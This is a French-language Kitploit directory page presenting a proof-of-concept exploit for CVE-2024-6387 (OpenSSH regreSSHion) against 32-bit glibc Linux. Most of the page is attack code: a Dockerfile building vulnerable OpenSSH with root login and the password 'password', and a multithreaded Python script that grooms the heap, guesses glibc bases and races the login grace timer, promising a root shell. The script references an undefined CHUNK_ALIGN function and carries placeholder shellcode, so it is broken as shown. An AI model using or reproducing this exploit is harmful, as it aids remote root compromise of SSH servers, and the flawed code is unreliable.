Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-6387 — Exploit de preuve de concept basé sur Python pour CVE-2024-6387 (OpenSSH regreSSHion) ciblant les systèmes Linux 32 bits basés sur glibc via la manipulation du tas et une condition de concurrence. | Kitploit
Outils/GitHubGitHub/lala-amber/cve-2024-6387
Analyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHublala-amber/cve-2024-6387

CVE-2024-6387

Exploit de preuve de concept basé sur Python pour CVE-2024-6387 (OpenSSH regreSSHion) ciblant les systèmes Linux 32 bits basés sur glibc via la manipulation du tas et une condition de concurrence.

Voir le dépôt
41il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

0.Résumé

Il s'agit essentiellement d'une vulnérabilité statistique : de nombreuses tentatives sont nécessaires pour gagner la condition de concurrence et exécuter avec succès du code arbitraire. L'attaquant doit surmonter de nombreux obstacles, a déclaré Schwartz à SecurityWeek. « Même dans le meilleur des cas, l'exploit le plus connu nécessite plus de 4 heures pour être exécuté. »

Dans les notes de version d'OpenSSH 9.8, les développeurs indiquent que cette vulnérabilité n'a été confirmée que sur les systèmes Linux 32 bits basés sur glibc, et précisent qu'OpenBSD n'est pas affecté.

1.Mise en place de l'environnement

La mise en place de l'environnement utilise Docker.

1.1.Écrire le Dockerfile

root@kitploit:~
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

1.2.Construire l'image

root@kitploit:~
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

1.3.Exécuter le conteneur Docker

root@kitploit:~
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

1.4.Vérifier que le service SSH fonctionne

root@kitploit:~
docker exec -it vuln-ssh-32bit /bin/bash
ps aux | grep sshd

2.Validation de la vulnérabilité

2.1.PoC en C

Il y en a un sur le réseau public, mais il nécessite une compilation. Le code est fourni dans les liens associés. Je l'ai converti en Python, en ajoutant le multithreading pour améliorer la vitesse d'attaque. J'ai également ajouté une limite de 100 000 tentatives, avec arrêt après un succès.

2.2.PoC en Python

root@kitploit:~
import socket
import time
import struct
import random
import os
from threading import Thread, Lock

MAX_PACKET_SIZE = 256 * 1024
LOGIN_GRACE_TIME = 120
GLIBC_BASES = [0xb7200000, 0xb7400000]
NUM_GLIBC_BASES = len(GLIBC_BASES)

shellcode = b"\x90\x90\x90\x90"  
attempts_lock = Lock()
attempts = 0
max_attempts = 100000
success = False

def setup_connection(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setblocking(False)
    try:
        sock.connect((ip, port))
    except BlockingIOError:
        pass
    return sock

def send_packet(sock, packet_type, data):
    packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data
    send_all(sock, packet)

def send_all(sock, data):
    total_sent = 0
    while total_sent < len(data):
        try:
            sent = sock.send(data[total_sent:])
            if sent == 0:
                raise RuntimeError("socket connection broken")
            total_sent += sent
        except BlockingIOError:
            time.sleep(0.01)  

def send_ssh_version(sock):
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
    send_all(sock, ssh_version)

def receive_ssh_version(sock):
    try:
        response = sock.recv(256)
        print("Received SSH version:", response)
        if b'Exceeded MaxStartups' in response:
            return False
        return True
    except BlockingIOError:
        return False

def send_kex_init(sock):
    kexinit_payload = b'\x00' * 36
    send_packet(sock, 20, kexinit_payload)

def receive_kex_init(sock):
    try:
        response = sock.recv(1024)
        print("Received KEX_INIT:", len(response), "bytes")
        return True
    except BlockingIOError:
        return False

def perform_ssh_handshake(sock):
    send_ssh_version(sock)
    if not receive_ssh_version(sock):
        print("Failed to receive SSH version")
        return False
    send_kex_init(sock)
    if not receive_kex_init(sock):
        print("Failed to receive KEX_INIT")
        return False
    return True

def prepare_heap(sock):
    for _ in range(10):
        tcache_chunk = b'A' * 64
        send_packet(sock, 5, tcache_chunk)

    for _ in range(27):
        large_hole = b'B' * 8192
        send_packet(sock, 5, large_hole)
        small_hole = b'C' * 320
        send_packet(sock, 5, small_hole)

    for _ in range(27):
        fake_data = create_fake_file_structure(GLIBC_BASES[0])
        send_packet(sock, 5, fake_data)

    large_string = b'E' * (MAX_PACKET_SIZE - 1)
    send_packet(sock, 5, large_string)

def create_fake_file_structure(glibc_base):
    data = b'\x00' * 4096
    fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)
    return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]

def time_final_packet(sock):
    start = time.time()
    measure_response_time(sock, 1)
    end = time.time()
    return end - start

def measure_response_time(sock, error_type):
    if error_type == 1:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
    else:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
    send_packet(sock, 50, error_packet)
    start = time.time()
    try:
        sock.recv(1024)
    except BlockingIOError:
        pass
    end = time.time()
    return end - start

def create_public_key_packet(glibc_base):
    packet = b'\x00' * MAX_PACKET_SIZE
    offset = 0
    for _ in range(27):
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(4096)
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(304)
    packet = packet[:0] + b"ssh-rsa " + packet[8:]
    packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]
    for i in range(27):
        packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]
    return packet

def attempt_race_condition(sock, parsing_time, glibc_base):
    final_packet = create_public_key_packet(glibc_base)
    send_all(sock, final_packet[:-1])
    time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)
    send_all(sock, final_packet[-1:])
    try:
        response = sock.recv(1024)
        if response and response[:8] != b"SSH-2.0-":
            print("Possible hit on 'large' race window")
            return True
    except BlockingIOError:
        pass
    return False

def perform_exploit_thread(ip, port, glibc_base):
    global attempts
    global success

    while not success:
        with attempts_lock:
            if attempts >= max_attempts:
                break
            attempts += 1
            attempt = attempts

        print(f"Attempt {attempt} with glibc base 0x{glibc_base:x}")
        sock = setup_connection(ip, port)
        if not perform_ssh_handshake(sock):
            print(f"SSH handshake failed, attempt {attempt}")
            sock.close()
            time.sleep(0.5) 
            continue
        prepare_heap(sock)
        parsing_time = time_final_packet(sock)
        if attempt_race_condition(sock, parsing_time, glibc_base):
            print(f"Possible exploitation success on attempt {attempt} with glibc base 0x{glibc_base:x}!")
            success = True
            break
        sock.close()
        time.sleep(0.5)  

def perform_exploit(ip, port):
    global success
    threads = []
    for glibc_base in GLIBC_BASES:
        for _ in range(10): 
            t = Thread(target=perform_exploit_thread, args=(ip, port, glibc_base))
            threads.append(t)
            t.start()

    for t in threads:
        t.join()

    return success

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <ip> <port>")
        sys.exit(1)
    ip = sys.argv[1]
    port = int(sys.argv[2])
    if perform_exploit(ip, port):
        print("Exploit succeeded")
    else:
        print("Exploit failed")

Vous pouvez continuer à essayer, vous finirez par obtenir un shell root, mais cela prendra des lustres.

1.https://github.com/passwa11/cve-2024-6387-poc/blob/main/7etsuo-regreSSHion.c

Télécharger l’outil